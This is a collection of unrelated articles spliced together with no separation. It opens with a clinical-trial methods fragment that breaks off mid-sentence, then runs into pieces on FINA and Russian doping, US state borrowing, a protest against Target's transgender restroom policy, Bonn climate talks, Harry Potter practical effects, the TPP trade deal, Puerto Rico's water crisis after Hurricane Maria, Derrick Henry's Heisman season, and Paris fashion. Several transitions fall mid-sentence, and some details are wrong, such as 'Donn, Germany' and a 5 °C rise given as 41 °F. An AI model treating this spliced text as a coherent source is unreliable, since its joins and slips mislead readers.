We used the chi-square test, Fisher's exact test, the Wilcoxon rank-sum test, two-sample t-tests, and Poisson regression to compare the baseline characteristics and key safety outcomes in the two study groups. Physical and laboratory measurements and medication use from baseline through 10 years were modeled with generalized linear regression and
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Russia host the lavish World Championships in Kazan last year. The very same World Championships, of course, which McLaren revealed had been systematically undermined by the Russia’s sports ministry, security forces, and anti-doping agency. Which is what Efimova says she is now being punished for.
Long before those Championships had even started, Fina’s Executive Director Cornel Marculescu was warned by the World Swimming Coaches Association that “[Rusada] are clearly complicit in the doping of Russian athletes” and “that the legitimacy of the Fina world championships this summer is at great risk.”
This wasn’t inside information. It was readily available in a German TV documentary that could be seen on YouTube. Marculescu’s response was to promise “that we have excellent working relations with Rusada and we co-ordinate with them our doping control programme in Russia.” Marculescu and Maglione both agreed that the Kazan Championships were the best there had ever been.
No wonder that Jon Rudd, who coaches the former Olympic champion Ruta Meilutyte, told the Guardian last month that Fina have “lost their way”, that their “credibility and respect could not be any lower”. No wonder that the great Australia coach Bill Sweetenham thinks the doping problem is “as bad as it has ever been”.
Because Efimova isn’t the only one. Like Rudd said, she’s just “the tip of the iceberg”, a “a representative of the system that doesn’t work”.
Efimova may be a cheat, but they run the system that has let her compete. It is Fina’s fault that there have been as many jeers as cheers in the Aquatic Stadium so far this week, so if you really want to know who to boo, it isn’t her, but them.Yesterday, in Taxpayers Can Bear No More, we discussed the record public debt problem in the UK. Chancellor Alistair Darling made it "clear that he thought that the only politically viable option was to increase borrowing, rather than to raise taxation."
In the US, states are facing similar budget dilemmas.
New Jersey, whose median household income of $64,470 is second only to Maryland, is one of 29 states that ran short of revenue to balance this year's budget, up from three in 2006, the Center on Budget and Policy Priorities in Washington found. Lawmakers across the country, who previously sought to trim debt and cut taxes, are instead increasing borrowing as the slowest economy since 2001 erodes consumer spending and home values.
California Governor Arnold Schwarzenegger is looking to bridge a $17 billion budget gap by borrowing against future lottery profits. Illinois Governor Rod Blagojevich wants to issue bonds to plug a shortfall in pension-plan funding and cut spending on health care and education. Corzine plans to borrow for school construction, and officials in Arizona may too.
Taxes are already so high that further increases may actually reduce collections, said former U.S. Senator Robert Torricelli, a New Jersey Democrat who recruited Corzine for his successful 2000 Senate campaign.
"People obviously don't want higher taxes," said Torricelli, who earlier this month hosted a fundraiser for Corzine's 2009 re-election effort at his Delaware Township home. "They never want spending cuts, and no one is lining up to make sacrifices."
Flashback October 27, 2007
Schwarzenegger's latest scheme is to use lottery proceeds to expand health care. Given that lottery proceeds now fund education, the governor's proposal would replace money from the lottery that now goes to education with funds from the state's general fund. Schwarzenegger did not say what would be used to fund the shortfall in the state's general fund.
Schwarzenegger's Financial Wizardry
Lottery proceeds will be used to expand health care.
Education that used to be funded by lottery proceeds will instead be funded from the state general fund.
The question as to what will fund the shortfall in the state's general fund, has now thankfully been solved: Lottery proceeds.
California Unemployment Rate Hits 6.9%
Silicon Valley posted anemic job growth last month, but in a state that economists say is in a "jobs recession," any growth is good. More than 1.2 million Californians are unemployed, according to figures released Friday by the state Employment Development Department.
California's seasonally adjusted unemployment rate was 6.9 percent, up from 6.8 percent in May; the valley's rate jumped from a seasonally unadjusted 5.6 percent in May to 6.1 percent in June.
Many of the valley's largest companies have been cutting jobs. Layoffs combined with construction and financial unemployment boosted the number of people looking for work and unable to find it.
The state's jobless rate "tells us that the California economy is in a recession," said Stephen Levy of the Center for the Continuing Study of the California Economy. With data not yet in on the quarter for the state economy, Levy called it a "jobs recession."
Jobs Recession?
To Scroll Thru My Recent Post ListThe ongoing right-wing backlash over Target's pledge to allow transgender patrons and staff members to use the restrooms which correspond with their gender identity isn't dying down anytime soon.
Faith2Action, a group which calls itself a "pro-active launching pad for the pro-family movement," now hopes to go a step further by organizing a "Don't Target Our Daughters Day" protest just four days before the retail giant's shareholders meeting on June 8.
Organizers want to designate Saturday, June 4 to be a "moment to stand together" and warn shoppers about Target's policy allowing "predators and sex offenders" into women's restrooms and fitting rooms by protesting outside stores.
In a Barbwire post, Janet Porter, Faith2Action's president and founder, said it was "time to take action" against Target for its pro-transgender vow.
Acknowledging the American Family Association's boycott pledge, which has reportedly been signed by more than 1.2 million people, Porter said she felt it was "time to take it to another level."
"It’s time to tell Target to stop 'Targeting our Daughters'—from the sidewalk outside their stores," she wrote.
To promote "Don't Target Our Daughters Day," the group has produced a bizarre music video that compiles news reports of the Target controversy and, in one scene, depicts a young girl being attacked in a bathroom stall.
"No matter how loud it's shouted, sin is not a civil right," a singer in the video, which can be viewed above, warbles. "Calling evil good will never make it right."
It's the latest in a series of conservative moves against the Minneapolis-based retail group that apparently were aimed at its transgender policy. Last week, video footage of an unidentified women storming through a Target store warning of "devil rape" went viral after being posted on YouTube.
Earlier this month, police were reportedly called about an active shooter situation after a 39-year-old man created a disturbance inside a Target store in Bradley, Illinois. Responding officers arrested Michael L. Merichko for disorderly conduct, but said they found no firearm.
Meanwhile, Target CEO Brian Cornell has mostly shrugged off the threats, and said his company would not back down on its policy.
“We took a stance, and were going to continue to embrace our belief of diversity and inclusion and just how important that is to our company,” he said in a May 11 interview in CNBC’s “Squawk Box.”A new round of global climate talks opened in Bonn on Monday with rich and poor countries squaring off over greenhouse gas reduction targets to halt the pace of planet warming. UN climate chief Christiana Figueres, pictured in 2011, urged all states to turn political pledges into concrete action to save the planet at this year's talks in Donn, Germany. A new round of global climate talks opened in Bonn on Monday with rich and poor countries squaring off over greenhouse gas reduction targets to halt the pace of planet warming.
As UN climate chief Christiana Figueres urged all states to turn political pledges into concrete action to save the planet, observers and developing states insisted the rich world should commit to tougher reduction goals.
Figueres cited new research which predicted Earth's temperature rising by as much as five degrees Celsius (41 degrees Fahrenheit) from pre-industrial levels on current pledges, instead of the 2 C limit being targeted.
"We still have a gap remaining between intent and effort," Figueres told journalists as experts and diplomats from some 170 countries met to start laying the groundwork for a new global warming pact to be finalised by 2015.
These are the first formal talks since UN member states agreed in Durban, South Africa, last December to bring all major greenhouse-gas emitting countries under a single legal roof from 2020.
Officials started Monday the process of drawing up amendments to the Kyoto Protocol on climate change for adoption at the next UN climate conference in Doha in November and December.
There has been much debate about how much proportional responsibility the rich and poor world should bear for curbing greenhouse gases.
"All countries have a responsibility to do their fair share, particularly those with the largest historical emissions," the Alliance of Small Island States said in a statement.
A grouping of least developed countries accused developed nations of "trying to renegotiate pledges and decisions made" instead of delivering on financial promises made to help curb climate change in the developing world.
And environmental body Greenpeace International urged the European Union to boost its commitment to reduce Earth-warming gas emissions by 20 percent.
But EU official Christian Pilgaard Zinglersen told a press conference: "I don't think the EU would change its stand" on the emissions target in Bonn.
Figueres conceded the political process was "incredibly challenging".
"We need to temper our excitement with realism," she told a press conference broadcast live on the Internet, but added a solution was "technically attainable and economically feasible."
Explore further: UN climate chief warns on Kyoto Protocol deadlineOver a span of ten years, the Harry Potter films revolutionized the visual effects industry, specifically in Great Britain. With each film, the technology, creativity, and budget for effects increased, garnering multiple BAFTA and Oscar nominations -- including, a BAFTA win in 2012 for Harry Potter and the Deathly Hallows: Part 2.
However, even among all the CGI and compositing, there were a large number of special effects that were done the old fashioned way. These ‘practical effects,’ as they’re known in the industry, were necessary in order to keep budgets down. Each Harry Potter film cost between $100-250 million dollars to make and utilized hundreds of special effects in order to bring the magic to life.
That being said, with the ingenuity that the special effects teams brought to the table, it’s not always easy to tell a practical effect from a computer generated one. Sometimes, the two types of special effects were combined in order to make them seem more realistic (as was the case with many of the creatures, like Buckbeak in Harry Potter and the Prisoner of Azkaban).
Think you can tell a CGI effect from a practical effect? Here are 15 Special Effects You Thought Were CGI But Weren’t in the Harry Potter films.
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15 When Harry's Wand Chooses Him
If you've been to the Wizarding World of Harry Potter, whether in Orlando, Hollywood, or Osaka, chances are you’ve witnessed a wand choosing a wizard at Ollivanders wand shop. Although much of that experience only involves a light change, some magical music, and a fan, it’s not that different from how the effect was created on screen in Harry Potter and the Sorcerer’s Stone.
When Ollivander hands Harry the wand that eventually becomes his, a number of things start to happen: light appears out of nowhere (giving him a halo), wind begins to blow, dust flies about, and candles flicker. It all happens so suddenly and everything seems to be moving at a much faster pace around him, as if the world itself is reacting to the pairing.
Slowing down the film to 120 frames per second created the illusion of time quickening, and the rest was done just like the theme park version. Skillful lighting design, some smoke, and a fan brought one of the most defining moments from the books to life at a fraction of what it would have cost if they tried to pull it off digitally.
14 Hagrid's Half-Giant Size
In the books, Hagrid is described as being “almost twice as tall as a normal man and at least five times as wide.” Translating a person of that size to the big screen, however, proved rather difficult. Rather than creating Hagrid as an entirely digital character, which would have been monumentally expensive over the course of eight films, the filmmakers decided on having two separate Hagrids.
For closeups and medium shots where he was in the frame, Robbie Coltrane, whom we’ve all come to know as Hagrid, would appear. Although Coltrane is 6’1”, to make him appear larger, his scenes would often be shot on small sets with scaled down props. For wide shots or those where the other actors needed to seem half his size, Martin Bayfield, a 6’10” former rugby player/policeman was used.
Bayfield was put into a bodysuit with prosthetic hands and a sculpted head that eventually became voice-activated. To match Coltrane’s performance, Bayfield watched a video of him lumbering around as Hagrid, and in Coltrane’s words, “learned it perfectly, to the point where people didn’t know who was who when we were at a distance…”
13 Lifesized Wizard's Chess
Remember the scene in Harry Potter and the Sorcerer’s Stone when Harry, Ron, and Hermione are faced with a life-sized version of Wizard’s Chess? While it would seem that all the pieces were created digitally and then moved around the board, in actuality, the whole game was a practical effect set.
Production designer, Stuart Craig, designed the pieces, which were then sculpted and cast by the SFX crew with materials that varied depending on their use. Pieces that were supposed to move were rigged up with radio control. “We could drive the horse forward and stop—and then move it sideways and stop very cleanly,” explained John Richardson, head of the special effects team.
Well, that’s all fine and good, but what about when the pieces battle each other and explode? Cleverly, instead of using pyrotechnics, which couldn’t be used around such young actors in that matter, compressed-air devices were used instead. So when Ron sacrifices his knight to the queen, leaving Harry to checkmate the king, his horse really does explode, although it’s done from within, not due to the impact of the queen’s sword.
12 Illuminated Wands
While the majority of wand effects and spells were done digitally, one of the simplest ones was not. There are a number of times throughout the films when characters are seen with a light shining from the tip of their wand. This wand-lighting charm, known as Lumos, acted as a flashlight of sorts in dark places.
Instead of adding that effect in post-production, certain wands were outfitted with battery packs. Whenever you see a lit wand or lantern, particularly in the Forbidden Forest, those were practical effects powered by batteries. Apparently, they were quite unwieldy and uncomfortable, according to Daniel Radcliffe. “We could barely lift our arms up after any scene in those first two films, because we’ve got wand packs on, under our robes, and they were about as big as car batteries. And it’s such a small effect,” he explained in the book, Harry Potter: Page to Screen.
11 Devil's Snare
Because its conception would have cost a boatload of cash if done digitally, the Devil’s Snare plant seen in Harry Potter and the Sorcerer’s Stone also became a practical effect. Harry, Ron, and Hermione jump down the trapdoor guarded by the three-headed dog, Fluffy, and land amidst the deadly plant. It soon proceeds to wrap them up in its gnarly, tentacle-like branches, threatening to squeeze them all to death.
To accomplish this effect on set, the Devil’s Snare was turned into a giant puppet. Its vines were wrapped around the three actors and then manipulated by puppeteers, unraveling and pulling them off behind the scenes. According to Harry Potter: Page to Screen, the film was then reversed to make it seem like the tentacles were grabbing and securing themselves around the actors instead of getting pulled off. It sounds like such a simple technique, and yet the amount of work put into its creation is astounding.
10 Close Up Shots of the Basilisk
A number of special effect scenes became a combination of both practical effects and CGI in order to make certain props and creatures more believable. One example of this half-and-half approach was the Basilisk seen in Harry Potter and the Chamber of Secrets. While the majority of the Basilisk’s flailing, snake-like movements were computer generated, when it was seen close up or Harry interacted with it, you were seeing a life-sized, animatronic creature.
Since Harry was supposed to essentially battle the Basilisk and ultimately stab it in the head, director Chris Columbus, believed Daniel Radcliffe needed something tangible to work with. While originally just the mouth was requested, an entire twenty-five-foot model was eventually created, complete with moving jaw, nostrils, eyes, and even retractable fangs.
While it may seem like overkill to create a huge head section for just a few shots, special effects head, Nick Dudman, was adamant about the benefits of using an animatronic snake in addition to CG. “A CG shot could cost $100,000, especially back then,” he explained in Harry Potter: Page to Screen. “Therefore, if it saved you one shot, and it only cost $30,000, it was worth doing.”
9 Doors to The Chamber of Secrets and Gringotts Vaults
It’s always interesting to see how the filmmakers visualize something from the books, especially props or inanimate objects. When Harry, Ron, and Gilderoy Lockhart reach the entrance of the Chamber of Secrets in the second book, two entwined snakes decorate a solid wall. Harry speaks in Parseltongue and then “the serpents parted as the wall cracked open, the halves slid smoothly out of sight…”
However, for the film adaptation of Harry Potter and the Chamber of Secrets, a giant, round metal door was created, which featured seven snakes instead of two. Once Harry tells it to open, the snakes fold in on themselves as another eighth snake moves around the circumference of the door, opening it. With a locking mechanism that impressive, it has to be CGI, right?
Wrong! Mark Bullimore, the special effects supervising engineer, manufactured the door with a real working mechanism. He was also responsible for creating the complex mechanical doors for both the Potter’s and Lestrange’s vaults at Gringotts bank. “Every lock on Bellatrix Lestrange’s vault door at Gringotts was handcrafted by the Special Effects Team,” tweeted the WB Studio Tour-London. You can actually see these doors and a number of other practical effects if you ever take a visit to the studio.
8 Fawkes the Phoenix
Another beast, which seemed like the result of animation and CGI, was Professor Dumbledore’s pet phoenix, Fawkes. Extensive research went into the creation of Fawkes using real birds, as well as mythological ones, for inspiration. Concept designer Adam Brockbank explained the look of the phoenix in Harry Potter: Page to Screen: “The size and length of Fawkes’s wings and wingspan are based on a combination of a sea eagle and a vulture. Proportionately, he’s a bit stretched, with a head that has a long, exaggerated crest, a bit like a bird-of-paradise plant.”
In fact, Fawkes appearance was so convincing, Richard Harris, who played Dumbledore in the first two films, was completely fooled by it. According to Daniel Radcliffe, “One of the most wonderful moments was him walking up to Fawkes the phoenix and thinking it was a real bird. Absolutely 100 percent believing it. And, of course, the animatronics boys are outside, and they’ve got a camera in the bird, so they can see that Richard’s chatting away to it. They start animating it, quite innocently, and then it became this thing where no wanted to say to Richard, ‘You know it’s a robot. It’s not real.’”
7 Self Folding Aspect of Marauder's Map
One of the most beloved items in the Harry Potter universe, the Marauder’s Map incorporated a myriad of effects, including some conceived from actual magic. Illusionist Paul Kieve was hired during Harry Potter and the Prisoner of Azkaban to assist in making objects appear to float in mid-air and move on their own.
Kieve created the self-folding version of the Marauder’s Map seen in Professor Lupin’s office when he is packing up his things after resigning. "In 'Harry Potter,' the director wanted a live magician because it gives him direct control," said Kieve. "When it goes into CGI he doesn't really have control.”
Indeed, director Alfonso Cuaron preferred to use practical magic effects as much as possible to give the illusion of realism. “Low tech has a certain charm,” he mused in Harry Potter: Page to Screen. “Because when you realize something was done practically instead of digitally, it makes it that much more real.”
6 Aunt Marge's Inflation
Another standout, non-digital effect from Harry Potter and the Prisoner of Azkaban, was the inflation of Dudley Dursley’s Aunt Marge. Harry performs underage magic on her after she says some very nasty things about his parents, causing her to inflate like an oversized balloon and float away. “That was the one thing in the script I’d read that I expected to be digital,” confessed special effects head, Nick Dudman.
However, due to Alfonso Cuaron's insistence that little to no CGI be used, Dudman explained in Harry Potter: Page to Screen that “There’s nothing digital in that except some cable removal. Everything you see there was done on the set in camera.” Actress Pam Ferris went through four different makeup stages and wore body suits that were pumped full of air. Even her hands and legs were able to inflate separately, creating a much more convincing transformation. She was lifted up on wires and her movement controlled by rigs that spun her around. Ferris endured hours of fittings, makeup, and rehearsals, but luckily, was “just amazing,” according to Dudman.
5 Mrs. Weasley's Domestic Tasks
In Harry Potter and the Chamber of Secrets, Fred, George, and Ron rescue Harry from the Dursley’s in their flying Ford Anglia. It’s during this film that both the audience and Harry get our first glimpse of the Weasley’s home, The Burrow.
Since Harry’s still relatively new to magic -- it’s only his second year at Hogwarts after all -- he’s awestruck by all the bits of magic he sees. One such element that probably seems pretty dull to the Weasley kids is how Mrs. Weasley has charmed various household items to self-complete their tasks. There’s a dish washing itself in the sink, a knife chopping up vegetables, and knitting needles creating one of the many handmade items Mrs. Weasley is known for.
As most of these items are both moving without assistance and floating in mid-air, it can be safely assumed that they were probably CGI. But, thanks to various press and visitor coverage of the Warner Brothers Studio Tour in London, it was revealed that those automated domestic tasks were, in fact, mechanical, practical effects.
4 Mad-Eye Moody's Eye
Animation was not used at all for Alastor ‘Mad-Eye’ Moody’s magical eye. Like most other effects on this list, his “mad-eye” was a practical effect created by the supervising animatronic designer, Chris Barton.
“We wanted something he actually made as a wizard,” explained Mad-Eye actor, Brendan Gleeson in a 2014 interview with AV Club. “So the creature effects—all that stuff and working with that eye—were ****ing fantastic. Massive respect for the craftsmanship—kind of old-fashioned, in a way. Before the CGI just about took over in number four, particularly, which is my big one. But we kept the eye in-camera. That sort of magic—that’s real magic in cinema.”
The eye was radio-controlled by the animatronics department, which moved around inside a brass holder that was magnetized. Unfortunately, the device wasn’t completely flawless and occasionally the eye would become demagnetized and pop out of its holder. Eventually, a special wig was made with separate pieces to accommodate the eye and make repairs easier.
3 The Knight Bus
All aspects of The Knight Bus’s creation were decidedly magical. To achieve the triple-decker appearance described in the books, a London double-decker bus was taken apart and reconstructed with an additional level welded on. It was also fitted with an engine powerful enough to hold and counterbalance the additional weight and height from the third level.
Although the scenes of the bus squeezing between other vehicles were obviously CGI, shots of it speeding through London were not. To create the sped-up effect, the camera department used a similar technique to the one from Harry Potter and the Sorcerer’s Stone.
As it was when Harry’s wand chose him in Ollivanders, the film was “undercranked” and advanced at a slower pace, causing everything to appear like it’s moving ultra fast when played back at the standard 24 frames-per-second rate. To enhance the bus’ haste even further, it was also shot traveling at a slightly fast speed, while everything else around it moved much more slowly.
2 Aragog
One of the most impressive special effects of all -- and certainly the top creature effect throughout the entire series -- was the giant spider, Aragog. Special makeup designer and creature supervisor, Nick Dudman, convinced the producers that he and his team could bring the eighteen-foot wide spider to life, rather than render an expensive digital creation.
Aside from the challenge that exists when creating an entire creature from scratch on that scale, Aragog was also a character who spoke and had to actually move around the set. As Dudman explains, “Each leg had to be manipulated by a different team member, and the whole contraption operated on a complex combination of aquatronics [pneumatic air rams] and a series of computers with video monitors. The entire creature weighed three-quarters of a ton!"
Luckily, all their hard work paid off, and the resulting creature was incredibly realistic despite its exaggerated size. Like his character, Ron, Rupert Grint also has a fear of spiders and was immediately terrified upon meeting Aragog. “Rupert did manage to overcome his arachnophobia,” confessed Radcliffe. “He was helped slightly by the fact that Aragog was so impressive. We couldn’t really be scared when we were thinking, ‘Wow, that’s so cool!’”
1 19 Years Later Scene
In the epilogue of Harry Potter and the Deathly Hallows: Part 2, Harry, Ron, Hermione, Ginny, and Draco appear at Platform 9 ¾ to send their children off to Hogwarts, nineteen years after the Battle of Hogwarts takes place. There was much back and forth between the filmmakers, and even some of the cast, over how to age-up the stars for this scene.
“I think they should do it with older actors and just leave us out of the scene,” Daniel Radcliffe told the LA Times in 2009. While the filmmakers ultimately decided to age the characters using prosthetic makeup, apparently they went a little overboard in an effort to really sell it. “Rupert looked like he was about 75 years old with the triple chin and the belly, he looked like he had really lived as a lush,” producer David Heyman said.
A second go at the makeup was then shot. The extra hassle and cost “made all the difference in the world,” according to Heyman. Aside from toning down the makeup with a sprinkling of CG, the scene actually became the very last that the main cast filmed together; a fitting ending for a group of young actors that we all watched grow up before our very eyes.
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Which of these practical effects surprised you the most? Let us know in the comments.Delegates hold signs opposing the TPP at the Democratic National Convention on July 27 in Philadelphia. (Mandel Ngan/AFP/Getty Images).
Donald Trump and Hillary Clinton don’t agree on much, but they seem to be in sync on trade. Each wants to address China’s alleged currency manipulation, both want more litigation at the World Trade Organization (WTO), and Trump has borrowed a page from Clinton’s 2008 playbook in promising to move unilaterally against foreign trade partners that Washington deems to be violating U.S. exporter rights.
But most of all, Trump and Clinton both vehemently oppose the Trans-Pacific Partnership (TPP), a trade agreement involving 12 Pacific Rim nations that, together, account for 40 percent of global GDP. Why?
[A lot of people want to restrict free trade. But that would have serious trade-offs.]
There is a saying in Washington that it takes a Republican to launch a trade deal and a Democrat to conclude one. Presidential candidates have historically tended to favor protectionist policies, only to reverse themselves once elected. In 2008, for example, Hillary Clinton and Barack Obama fought over who would move faster to renegotiate NAFTA, the North American Free Trade Agreement. But Obama later signed the TPP, a deal that makes NAFTA’s legal obligations look archaic by comparison.
In 2016, however, something more fundamental than mere populism is happening. Critics insist that TPP and deals like it are suspicious because they are too long and complicated. Trump complained that “[i]t’s 5,600 pages long, so complex that nobody’s read it.” Clinton suggests that she has read it, and yet, without referring to any particular provision, insists that “[o]nce I saw what the outcome was, I opposed it.” Could something so long and complicated be any good?
[U.S. negotiators made sure the TPP agreement reflects U.S. interests. Here’s how we checked, line by line.]
Where does the TPP’s complexity come from, and what’s it really about?
In 1947, the General Agreements and Tariffs and Trade (GATT) began tackling tariffs as the main protectionist instrument of governments. The GATT preamble makes clear that the goal was to reduce discrimination in trade, not necessarily create what we like to call “free trade.” After all, governments were allowed to keep their tariffs, often at levels never historically charged. The deal, instead, was that most of these tariffs would have to be capped and lowered through subsequent GATT rounds of negotiations.
GATT 1947 is a very parsimonious document in this regard. Its logic plays out in a mere four articles: convert all non-tariff barriers into tariffs (GATT XI), bind them (GATT II) and offer “national treatment” (GATT III) on all fiscal and nonfiscal measures beyond the tariffs applied on a most-favored nation basis (GATT I). This “convert-cap-cut” approach has worked wonders. Tariffs are at historical lows, and almost all tariffs have upper bounds that cannot be legally broken.
Then, in 1995, the World Trade Organization (WTO), the successor to the GATT, went on to tackle services and intellectual property, as well as more specialized non-tariff barriers, notably health and food-safety standards and technical regulations. These standards and regulations are especially tricky, since, rather than acting as a tax on trade, they can trigger a complete import ban. In trade, this is where the action is.
Standards and technical regulations are used as protectionist weapons.
Countries routinely set different regulations on things ranging from labeling food ingredients to the color of a farm tractor’s backup lights. These types of technical regulations cover nearly all of global trade, including over 92 percent of U.S. exports.
Herein lies the beauty of technical regulations: It is easy to find a compound or material that is perfectly correlated with country of origin, for historical or geographical reasons, and ban it. Firms know this, and lobby their governments to legislate accordingly. Governments, in turn, explain these measures as centering on consumer safety, not commerce, opening up countless opportunities to impose what the WTO calls “disguised restrictions” on trade.
It’s not just the content of these technical regulations. The testing that goes into proving conformity with them is yet another trove of protectionist policies. For example, the U.S. and Brazil agree on many global standards on telecommunications equipment, but Brazil does not accept foreign test data, so equipment exported to Brazil is subjected to redundant testing. In this sense, “conformity assessment” acts as a bottleneck, and can be prohibitively costly for the U.S. exporter. The effect is to deter trade.
TPP tackles these issues head-on.
The complexity of TPP traces to a desire to deal more fully with such measures. Building on Korea-U.S. (KORUS), TPP builds in “WTO plus” provisions on standards and technical regulations. Across the board, there is a deeper emphasis on basing these measures on agreed-upon science; making the process of formulating regulations more transparent; and giving foreign exporters opportunities to offer substantive input in the formulation of these measures.
Not all of the provisions of these chapters are new. In the case of technical regulations, for example, TPP “incorporates” key articles from the WTO. For those disputes centering on purely incorporated text, moreover, TPP requires that they be filed at the WTO — to avoid creating a parallel (and potentially contradictory) body of case law on these issues.
The novelty of TPP, though, is that it goes much further than the WTO in calling on members to afford each other “national treatment” on both the substance and procedural aspects of technical regulations, eliminating the need to retest and recertify exports, for example. These “WTO plus” provisions will surely be tested in litigation under TPP.
Some critics insist all of this goes too far. They argue TPP is an unprecedented reach into members’ regulatory politics. This is Sen. Bernie Sanders’s point when he noted that “TPP is much more than a ‘free trade’ agreement.”
[This is what Trump and Sanders got wrong about free trade]
But trade discrimination in 2016 is different than it was in 1948, when the GATT made its debut, or even 1994, when NAFTA came into effect. The process of legislating national standards and regulations that can differ from global ones means that governments can block trade in ways the drafters of GATT could never have even imagined.
Those who believe in a rules-based global economy should cheer rather than condemn the fact that TPP runs thousands of pages. Its complexity reflects the fact that, like KORUS before it, the deal is going after high-hanging fruit. After all, the WTO has already picked the low-hanging fruit by disciplining most tariffs.
In fact, the real benefit of TPP will be that the new provisions on standards and technical regulations set the stage for even deeper provisions in the Transatlantic Trade and Investment Partnership (TTIP) between the U.S. and the European Union. Unlike the situation with TPP, there simply aren’t 18,000 tariffs to cut — so the TTIP aims to boost compatibility and transparency in U.S-E.U. bilateral trade.
Both candidates are really talking about the 21st century TPP agreement in 19th century language. Its complexity is a sign of the times, and an indication that future agreements will require even more page length, starting with TTIP.
Marc L. Busch is Karl F. Landegger Professor of International Business Diplomacy, School of Foreign Service, and professor of business administration at Georgetown University, and a member of the Industry Trade Advisory Committee on Technical Trade Barriers. Krzysztof J. Pelc is William Dawson Scholar and associate professor in the Department of Political Science at McGill University.
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Savedon't drink the water The U.S. could have avoided Puerto Rico’s water crisis
The numbers associated with the current situation in Puerto Rico, one month after Hurricane Maria struck the U.S. territory, are baffling.
More than 2.5 million residents are still without power. The Federal Emergency Management Agency is able to offer 200,000 meals to Puerto Ricans daily — but it needs to feed 2 million people. Perhaps most baffling, or at least exasperating, President Donald Trump gives himself a perfect 10 for his response to the storm’s aftermath.
One of the most pressing issues on the island is access to clean water. Officials estimate that more than 1 in 3 residents in Puerto Rico doesn’t have it. Aid agencies on the ground say the number is closer to 1 in 2. Families are drinking water contaminated with sewage and dead animals. Others are drawing from toxic Superfund sites. There have been at least 10 cases of leptospirosis from drinking contaminated water — and officials are investigating four deaths which may have been caused by waterborne bacteria.
Simply put, this is an ongoing public health crisis.
Puerto Rico was in a tough spot before Maria tore through the Caribbean island. Economic and political factors complicated disaster response: The territory was already facing a debt crisis. And limited local resources and poor roads made it difficult to get supplies to storm survivors.
But aid agencies and relief experts believe the current predicament could have been avoided. There are international standards and a clear blueprint for how to get safe water to people after a disaster. But so far, the federal response has failed in providing both immediate help and longer-term solutions — and part of the reason for that could boil down to discrimination.
“We’re a very capable nation, yet we don’t seem to have deployed our capabilities in this instance,” says John Mutter, a Columbia University professor and international disaster relief expert. “This isn’t rocket science. We know what we’re supposed to do. The fact that we’re not doing it needs explanation.”
According to the relief organization Oxfam, the minimum standards for disaster response have not been met. The aid group follows Sphere minimum standards — a set of universal benchmarks for humanitarian responses established in 1997 — which require, for instance, four gallons of water to be provided per day per person for bathing, cooking, and drinking. The water should be delivered in safe containers through water trucks, water bladders, or filters. And initial assistance is supposed to arrive within three to five days after a disaster.
In this case, there has not been enough overall coordination of relief, according to Martha Thompson, Oxfam America’s program coordinator for disaster response in Puerto Rico. Truck deliveries of bottled water are sporadic, and she says that the military has sent water trucks to several sites without providing clean containers to safeguard the water.
U.S. Northern Command, which is coordinating the military’s aid efforts in Puerto Rico, confirmed reports that people are using potentially contaminated containers — often washed out detergent bottles — to collect water. In
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senior year, and I saw him and said, 'That's a pretty big guy right there.' "
'What are you going to do to stop this guy?'
By now, everyone has seen the images of Henry flipping tractor tires and pulling pickup trucks while training during the offseason.
And it clearly has paid off.
Ragland: When it's crunch time, it's eating time. That's how he feels. Derrick doesn't get tired.
During a run of 10 consecutive carries against Auburn, even Saban questioned how much more Henry had left in the tank.
Saban: He was asking to stay in. And I asked him every time he came to the sidelines, 'Are you OK? Because we'll put somebody else in there.' He says, 'Coach, I'm good. I'm gonna win this game.'... It just seems he gets stronger as the game goes on.
Bo Scarbrough, running back: It's full-speed, downhill, under his shoulder pads, north and south.
Richard Mullaney, wide receiver: I remember going down to make a block on the safety (in the Wisconsin game), the next thing I know, I look forward, I guess, and he was already in the end zone. I was like, 'Wow.' He's really fast.
Cam Robinson, left tackle: I see him do it every day. I don't want to say I expected it, but I knew he was capable of it. I know what he's able to do, especially when he gets in the open field and gets up on DBs.
Jake Coker, quarterback: When you see a guy run -- how many times, 46 times? -- and he could still play, not slow down, not hurt at all. It's like playing with the biggest guy on the playground, like, 'What are you going to do to stop this guy?' It's just about impossible. The guy is crazy.
The Heisman campaign
He had more consecutive games with a rushing touchdown than Tim Tebow and he broke Herschel Walker's single-season SEC rushing yards record. With more rushing yards (1,986) and more rushing touchdowns (23) than anyone in college football, Henry was an easy choice to become one of three Heisman finalists.
Jonathan Allen, defensive lineman: You get what you deserve and I feel like he's been deserving this for a while now.
He's definitely a relentless competitor. He won't take no for an answer. We feel like that's a big part of his success here, along with the team. We've all kind of adopted that mentality that we won't be denied what we want.
When did they think he could win a Heisman?
Ryan Kelly, center: Game 1, we played Wisconsin. I don't know how many yards he had that game, but I think he had a couple of touchdowns. And then you knew from that moment on it was going to be a special season. Every game he plays, he is more deserving of it each week.
Pierschbacher: I just think he's really stepped up this year. I could see the progression from him throughout the summer, just him taking that leadership role and how he's handled all of this. He could have gotten a big head and all of that, people saying he's run away with the Heisman or whatever. But he hasn't mentioned that at all. We'll hear it on the news when we're all around him and he's not saying anything.
When it comes to stating his case for the Heisman, Henry lets his play do the talking. If you want to know how valuable he is, just ask his QB.
Coker: It's awesome because when I screw up, he picks me up.
When asked after the LSU game if Henry was the best running back in college football, Coker was emphatic.
Coker: Yeah. You're damn right he is.As fashion shows go by this season, we’re continuously assaulted by new ideas, trends, accessories and outfits. We’ve seen what London, New York and Milan Fashion Weeks have predicted for fall 2011, but French designers have also something to offer for autumn/winter.
Chanel RTW Fall 2011
Karl Lagerfeld displayed a dark, gray, decadent and highly inspired by menswear collection. It’s not the chic manly accents, but a rather tough view. Some ladies might ask themselves where have all the colors gone, because the only dots of joy are some red and green pieces. Pants are the main element defining this collection, worn in different lengths and even with single pieces worn over them. The collection surprised everyone in a positive way, firstly I couldn’t believe this is actually Chanel.
Valentino RTW Fall 2011
The look adopted by Valentino is highly lady-like and totally wearable. Not so rich in colors either, but rather focused on plain dresses in nude and navy blue colors, the collection is completed by trenches, fur, and beautiful long gowns. If you’re looking for something safe and beautiful in the same time, Valentino is just the thing.
Louis Vuitton RTW Fall 2011
This collection was absolutely fabulous: almost every model wore bags, and the numerous elements such as mongolian head wear, fur, tweeds inspired by men wear, rubber jackets, skirts and the incredible range of fabrics and patters made this show one of the best. The final appearance of Kate Moss, in a dominatrix outfit, completed by croc boots and the gesture of smoking was most representative of the obsessive collection.
Christian Dior RTW Fall 2011
A bit weird and extravagant? Eccentric? Yes, Dior’s collection abunded in feminine dandyish outfits, beautiful dresses, fur accents and lovely jackets. A very complex collection completed by a range of charming colors.
Givenchy RTW Fall 2011
